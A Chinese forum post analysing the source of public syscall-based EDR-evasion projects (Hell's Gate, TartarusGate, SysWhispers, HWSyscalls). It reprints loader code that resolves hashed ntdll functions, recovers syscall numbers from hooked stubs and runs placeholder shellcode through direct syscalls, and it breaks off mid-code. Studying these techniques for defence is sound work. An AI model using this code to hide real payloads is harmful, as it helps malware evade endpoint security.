-
-
[原创]免杀动态对抗之syscall[源码分析]
-
发表于: 2024-6-3 16:38 23050
-
操作系统分为内核和应用层,从R0-R3,R0是内核,R3是用户层。
windows中日常调用的api都是R3抽象出来的接口,虽然win32 api他也是R3接口,但是由于windows的设计思想就是高度封装,所以实际上的R3 api是ntdll.dll中的函数,过程如下图。
我们调用的win32 api都是kernel.dll/user32.dll中的函数,最终都要经过ntdll.dl
我们逆向一个函数用作学习,选定CreateThread,ntdll中的是NtCreateThread
可以看到首先给eax赋值(这里是系统调用号SSN system-call-number),然后再执行syscall
观察相邻函数可以发现SSN是递增的
EDR的工作原理是,对WINDOWS API进行hook。
一般都是inline hook,即把函数的开头地址值改成jmp xxxxxxx(hook函数地址)
。
既然知道了syscall的调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对api的hook
以下开始学习不同项目对应的手法
项目地址:https://github.com/am0nsec/HellsGate/
比较古老的项目,效果不好,但是有学习价值
直接跟进main.c,调用RtlGetThreadEnvironmentBlock,作用是获取TEB(fs:0x30/0x60),然后获取PEB
获取ntdll.dll,这里是测试出来的,win10的peb.LoaderData.InMemoryOrderModuleList.Flink->Flink一般是kernel.dll,0x10偏移是ntdll.dll
获取导出表
代码自己设置了一个结构体_VX_TABLE,用于存放取出的nt函数的地址
然后用api hash,装载这些函数
获取函数地址的函数,其中使用djb2算法进行api hash计算。
会检测函数地址位置的字节序列是否正常,比如如果在地址处检测到了0x0f 0x05 syscall
,0xc3 ret
,正常函数不会是这样的,说明可能被hook
正常的序列:
或者
还会获取系统调用号
最后main调用了payload函数,开始执行shellcode,也是分配内存+写权限+内存限制+线程创建执行shellcode+NtWaitForSingleObject
其中的核心手搓syscall,由外部asm文件提供
总结别人的总结:
https://github.com/trickster0/TartarusGate/
其实之前还有一个光环之门,但是这个TartarusGate完美改进了,就直接用这个说吧
这是对地狱之门的改进,因为地狱之门在不干净的ntdll中无法动态获取SSN,所以光环之门进行了改进。
当我们所需要的 Nt 函数被 hook 时,它相邻的 Nt 函数可能没有被 hook,因为 EDR 不可能 hook 所有的 Nt 函数,总有一些不敏感的 Nt 函数没有被 hook,这样我们从我们需要的 Nt 函数出发,向上或者向下寻找,找到没有被 hook 的 Nt 函数,然后它的 SSN 加上或减去步数就得到了我们需要的 SSN。
看下图,ZwMapViewOfSection 显然被 hook 了,因为它开头是jmp <offset>指令,而不是 mov r10, rcx,但是相邻的 ZwSetInformationFile 和 NtAccessCheckAndAuditAlarm 却是干净的,他们的系统调用号分别是0x27和0x29。因此,确定 ZwMapViewOfSection 编号非常简单 ,只需查看邻居编号并相应地进行调整即可。如果邻居也被 hook 了,那么检查邻居的邻居,以此类推
这里我们查看他重点实现查看邻居的代码
检测到0xe9 jmp时(第一第二条,做了两次判断,因为不只是第一条命令会被hook),开始向上向下查看邻居.
预先设置了down和up的值为正负32,这是作者手动计算的,然后根据这个区间进行上下邻居的查看。
可以手动在ntdll里面数一下,正好差0x20,即32.由于各个API本质不同就是传入SSN不同,所以这里可以固定区间检查上下邻居
手搓syscall比地狱之门多加了一点nop做混淆
打印所有zw开头的(内核系统调用接口)函数,也可以改成nt(用户态系统调用接口)
以上代码把所有提取出来的内核函数存放到NT_TABLE中,然后输出,这里我稍微魔改一下改成根据传入的api hash参数,寻找对应的api hash的调用号
项目地址:https://github.com/jthuraisamy/SysWhispers
这是直接系统调用的框架。
系统调用号SSN在不同版本的系统下是不一样的,有技术博客已经帮我们整理好了
这个项目相当于一个脚手架,会帮我们生成asm文件和头文件,需要在项目中包含,才能syscall
安装:
使用:
上手
打开项目,导入生成的asm和头文件
编写demo
未syscall时需要使用kernel32.dll中的API
syscall后可以使用nt函数进行替代
头文件存放了nt函数的签名结构
asm文件中,对应函数会先查询版本,然后再跳转到对应的代码块进行处理
以上都是模板文件,最后核心代码还是直接调用syscall,这样的特征比较明显,所以会有接下来的第二版本和第三版本项目
项目地址:https://github.com/jthuraisamy/SysWhispers2
使用方法和第一版一样,只不过内部的实现机制发生了改变
用demo查看一下内部机制
其中出现的nasm,是适配gcc的文件
std方法是最基础的syscall,但是rnd是适配了Random Syscall Jumps
技术,项目描述中有写
使用随机系统调用跳转(Random Syscall Jumps)可以避免“系统调用的标记”。汇编存根会调用一个新函数SW__GetRandomSyscallAddress,该函数会在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。通过这种方式,也可以避免触发用户态的系统调用指令。
要使用随机系统调用跳转,你需要在编译程序时定义RANDSYSCALL,并使用SysWhispers2输出的rnd版本。以下示例展示了如何使用GNU汇编器存根。
x86 Example EXE - Using Random Syscall Jumps
x64 Example EXE - Using Random Syscall Jumps
编写demo
这里我们使用random版本的代码
syscall.h的内容和第一版本没差别
具体的差别在asm。首先是导出的nt函数,将硬编码的hash值传给currentHash,然后调用WhisperMain
WhisperMain中调用了SW2_GetSyscallNumber
和SW2_GetRandomSyscallAddress
查询ntdll中干净的随机的syscall命令,保存其地址,然后构造系统调用号等参数,用随机的sysacll执行
接下来查看具体的获取随机SSN和干净syscall的代码,是C语言,存放在syscall.c中
跟进SW2_PopulateSyscallList
先看数据结构,SW2_SYSCALL_ENTRY存放导出函数的hash和地址,SW2_SYSCALL_LIST存放entry队列,还有计数器
查看代码,首先获取peb,然后从peb中检索ntdll,由于ntdll不一定在第二位,所以遍历所有模块寻找ntdll
这里的处理其实挺愚蠢的,不如这段代码遍历一遍,其实还可以改成参数为hash
接着遍历导出表,将所有zw开头的内核系统调用接口的hash和地址存入队列
接着跟进SW2_GetRandomSyscallAddress
这里设置了随机数,并且设定了syscall在汇编中的偏移0x12,构建出syscall在模块内偏移,(ntdllbase+random(syscalladdress)+0x12),最终返回构造好的syscall指令地址,在asm中构造syscall栈进行调用
根据下图可以看出偏移为0x12
这里的效果就是,使用间接系统调用,程序会进入ntdll模块中执行syscall,而不是自己直接手撸syscall,在操作系统看来,手撸syscall会让用户态程序直接进入内核态,不经过ntdll.dll,是不合理的。
用ntdll.dll的syscall指令就解决了这个问题,合理多了。
SysWhispers还有进化版本,项目地址:https://github.com/klezVirus/SysWhispers3
进化的点在哪里:
The usage is pretty similar to SysWhispers2, with the following exceptions:
其中涉及了主要两个技术:
运行项目,生成模板查看一下
这里使用了jumper_randomized模块,jumper和egg_hunter是不能同时使用的,因为都是对syscall指令做的操作,如果jumper就不需要syscall机器码混淆。
当只使用egg_hunter生成时会有提示,每次随机生成的egg垃圾字符串是不同的,需要手动转换成syscall指令(混淆解码)
先看egg_hunter
syscall.h中存放函数签名
查看asm文件,参数传入ecx函数hash,然后调用SW3_GetSyscallNumber
这里需要自己在主函数中对egg和replace字节进行实现。
就算实现了,这里也是直接系统调用,不靠谱,所以我们来看jumper
可以看到和第二代版本的差别就是,syscall改成了jmp r11
,r11是SW3_GetRandomSyscallAddress
获取的syscall address。这种方式可以绕过对静态syscall指令的扫描。
项目地址:https://github.com/Dec0ne/HWSyscalls
上文都是软件中自定义堆栈流程,都是找到ntdll,然后从里面拿系统调用接口做syscall,但是hwsyscalls项目更彻底,通过kernel32 gadget,跳到ntdll.dll中做间接syscall。
用法:InitHWSyscalls启动系统,进行初始化,这个函数里面会把VEH异常处理注册好,并且将ntdll设置为断点,调用PrepareSyscall(要调用的NT函数)
即可触发VEH,同时间接调用nt函数对应的syscall。
DeinitHWSyscalls进行收尾处理。
初始化函数,会获取当前线程,从kernel32.dll寻找ret gadget,"ADD RSP,68;RET",然后使用AddVectoredExceptionHandler注册异常处理程序
FindRetGadget会在kernel32.dll和kernelbase.dll寻找"ADD RSP,68;RET",如果找不到就无需继续了。
如果存在gadget,则注册异常处理函数
核心函数HWSyscallExceptionHandler,相关注释在代码中
寻找syscall指令和系统调用号都借鉴了天堂之门,遍历检索邻居.这里使用了PBYTE,是四个字节,0x20偏移,向后遍历32个函数寻找syscall;ret gadget
注册完VEH,一旦设置了硬件断点(通过 SetThreadContext 设置 CONTEXT 结构中的 Dr0),本进程任何尝试访问该地址的操作都会触发异常,这时 HWSyscallExceptionHandler 就会被调用。
这就轮到初始化函数InitHWSyscalls中的SetMainBreakpoint出场了
断点通过SetThreadContext
下在了ctx.Dr0上,是PrepareSyscall函数,这个函数的作用是返回一个函数地址,入参是需要调用的nt函数。
到此为止,代码分析完毕。
HWSyscalls通过注册VEH异常处理程序,通过手动给触发函数下硬件断点的方式,通过参数将需要调用的内核函数名送入VEH处理程序,在其中操作寄存器,通过寻找kernel32.dll 的"ADD XX;RET"gadget,配合VEH.RSP操作,伪造kernel32.dll栈,接着将间接调用的栈帧布置在伪造的kernel32.dll栈后面,实现了更彻底更完美的间接系统调用。
该项目吸收了旧技术的精髓,和SysWhispers系列项目一样,都是syscall方面的精品项目。
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ;
'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz
short
loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency
system
call
.text:000000018009F614 C3 retn
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ;
'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz
short
loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency
system
call
.text:000000018009F614 C3 retn
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00 mov eax, 4Fh ;
'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03 jnz
short
loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05 syscall ; Low latency
system
call
.text:000000018009F634 C3 retn
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00 mov eax, 4Fh ;
'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03 jnz
short
loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05 syscall ; Low latency
system
call
.text:000000018009F634 C3 retn
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return
(PTEB)__readgsqword(0x30);
#else
return
(PTEB)__readfsdword(0x16);
#endif
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return
(PTEB)__readgsqword(0x30);
#else
return
(PTEB)__readfsdword(0x16);
#endif
}
INT
wmain() {
// 获取PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
INT
wmain() {
// 获取PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((
PBYTE
)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((
PBYTE
)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if
(!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return
0x01;
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if
(!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return
0x01;
BOOL
GetImageExportDirectory(
PVOID
pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if
(pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return
FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((
PBYTE
)pModuleBase + pImageDosHeader->e_lfanew);
if
(pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return
FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
PBYTE
)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return
TRUE;
}
BOOL
GetImageExportDirectory(
PVOID
pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if
(pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return
FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((
PBYTE
)pModuleBase + pImageDosHeader->e_lfanew);
if
(pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return
FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
PBYTE
)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return
TRUE;
}
typedef
struct
_VX_TABLE_ENTRY {
PVOID
pAddress;
DWORD64
dwHash;
WORD
wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef
struct
_VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
typedef
struct
_VX_TABLE_ENTRY {
PVOID
pAddress;
DWORD64
dwHash;
WORD
wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef
struct
_VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return
0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return
0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return
0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return
0x1;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return
0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return
0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return
0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if
(!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return
0x1;
MOV R10, RCX
MOV RCX, <SSN>
MOV R10, RCX
MOV RCX, <SSN>
mov r10, rcx
mov eax, <SSN>
syscall
mov r10, rcx
mov eax, <SSN>
syscall
BOOL
GetVxTableEntry(
PVOID
pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
// 获取函数名
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)pModuleBase + pdwAddressOfNames[cx]);
PVOID
pFunctionAddress = (
PBYTE
)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// djb2 哈希算法
if
(djb2(pczFunctionName) == pVxTableEntry->dwHash) {
// 赋值函数地址
pVxTableEntry->pAddress = pFunctionAddress;
// 检测函数是否被hook(检查原有字节序列)
// Quick and dirty fix in case the function has been hooked
WORD
cw = 0;
while
(TRUE) {
// 0x0f 0x05 syscall
// check if syscall, in this case we are too far
if
(*((
PBYTE
)pFunctionAddress + cw) == 0x0f && *((
PBYTE
)pFunctionAddress + cw + 1) == 0x05)
return
FALSE;
// check if ret, in this case we are also probaly too far
if
(*((
PBYTE
)pFunctionAddress + cw) == 0xc3)
return
FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if
(*((
PBYTE
)pFunctionAddress + cw) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + cw) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + cw) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + cw) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + cw) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + cw) == 0x00) {
// 根据字节序列获取SSN,存储到pVxTableEntry中
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + cw);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + cw);
pVxTableEntry中->wSystemCall = (high << 8) | low;
break
;
}
cw++;
};
}
}
return
TRUE;
}
BOOL
GetVxTableEntry(
PVOID
pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD
pwAddressOfNameOrdinales = (
PWORD
)((
PBYTE
)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for
(
WORD
cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
// 获取函数名
PCHAR
pczFunctionName = (
PCHAR
)((
PBYTE
)pModuleBase + pdwAddressOfNames[cx]);
PVOID
pFunctionAddress = (
PBYTE
)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// djb2 哈希算法
if
(djb2(pczFunctionName) == pVxTableEntry->dwHash) {
// 赋值函数地址
pVxTableEntry->pAddress = pFunctionAddress;
// 检测函数是否被hook(检查原有字节序列)
// Quick and dirty fix in case the function has been hooked
WORD
cw = 0;
while
(TRUE) {
// 0x0f 0x05 syscall
// check if syscall, in this case we are too far
if
(*((
PBYTE
)pFunctionAddress + cw) == 0x0f && *((
PBYTE
)pFunctionAddress + cw + 1) == 0x05)
return
FALSE;
// check if ret, in this case we are also probaly too far
if
(*((
PBYTE
)pFunctionAddress + cw) == 0xc3)
return
FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if
(*((
PBYTE
)pFunctionAddress + cw) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + cw) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + cw) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + cw) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + cw) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + cw) == 0x00) {
// 根据字节序列获取SSN,存储到pVxTableEntry中
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + cw);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + cw);
pVxTableEntry中->wSystemCall = (high << 8) | low;
break
;
}
cw++;
};
}
}
return
TRUE;
}
BOOL
Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
// 存放shellcode
char
shellcode[] =
"\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"
;
// Allocate memory for the shellcode
PVOID
lpAddress = NULL;
SIZE_T
sDataSize =
sizeof
(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((
HANDLE
)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode,
sizeof
(shellcode));
// Change page permissions
ULONG
ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((
HANDLE
)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE
hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (
HANDLE
)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return
TRUE;
}
BOOL
Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
// 存放shellcode
char
shellcode[] =
"\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"
;
// Allocate memory for the shellcode
PVOID
lpAddress = NULL;
SIZE_T
sDataSize =
sizeof
(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((
HANDLE
)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode,
sizeof
(shellcode));
// Change page permissions
ULONG
ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((
HANDLE
)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE
hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (
HANDLE
)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return
TRUE;
}
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern
VOID
HellsGate(
WORD
wSystemCall);
extern
HellDescent();
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern
VOID
HellsGate(
WORD
wSystemCall);
extern
HellDescent();
; Hell's Gate
; Dynamic
system
call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
wSystemCall
DWORD
000h
.code
// 给wSystemCall赋值SSN
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
// 手搓syscall
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
; Hell's Gate
; Dynamic
system
call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
wSystemCall
DWORD
000h
.code
// 给wSystemCall赋值SSN
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
// 手搓syscall
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
//if hooked check the neighborhood to find clean syscall
// 0xe9 jmp
if
(*((
PBYTE
)pFunctionAddress) == 0xe9) {
for
(
WORD
idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
// 4C 8B D1 mov r10, rcx ; NtCreateThread
// B8 4E 00 00 00 mov eax, 4Eh ; 'N'
if
(*((
PBYTE
)pFunctionAddress + idx * DOWN) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * DOWN);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return
TRUE;
}
// check neighboring syscall up
if
(*((
PBYTE
)pFunctionAddress + idx * UP) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * UP);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return
TRUE;
}
}
return
FALSE;
}
if
(*((
PBYTE
)pFunctionAddress + 3) == 0xe9) {
for
(
WORD
idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if
(*((
PBYTE
)pFunctionAddress + idx * DOWN) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * DOWN);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return
TRUE;
}
// check neighboring syscall up
if
(*((
PBYTE
)pFunctionAddress + idx * UP) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * UP);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return
TRUE;
}
}
return
FALSE;
}
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
//if hooked check the neighborhood to find clean syscall
// 0xe9 jmp
if
(*((
PBYTE
)pFunctionAddress) == 0xe9) {
for
(
WORD
idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
// 4C 8B D1 mov r10, rcx ; NtCreateThread
// B8 4E 00 00 00 mov eax, 4Eh ; 'N'
if
(*((
PBYTE
)pFunctionAddress + idx * DOWN) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((
PBYTE
)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE
high = *((
PBYTE
)pFunctionAddress + 5 + idx * DOWN);
BYTE
low = *((
PBYTE
)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return
TRUE;
}
// check neighboring syscall up
if
(*((
PBYTE
)pFunctionAddress + idx * UP) == 0x4c
&& *((
PBYTE
)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((
PBYTE
)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((
PBYTE
)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((
PBYTE
)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((
PBYTE
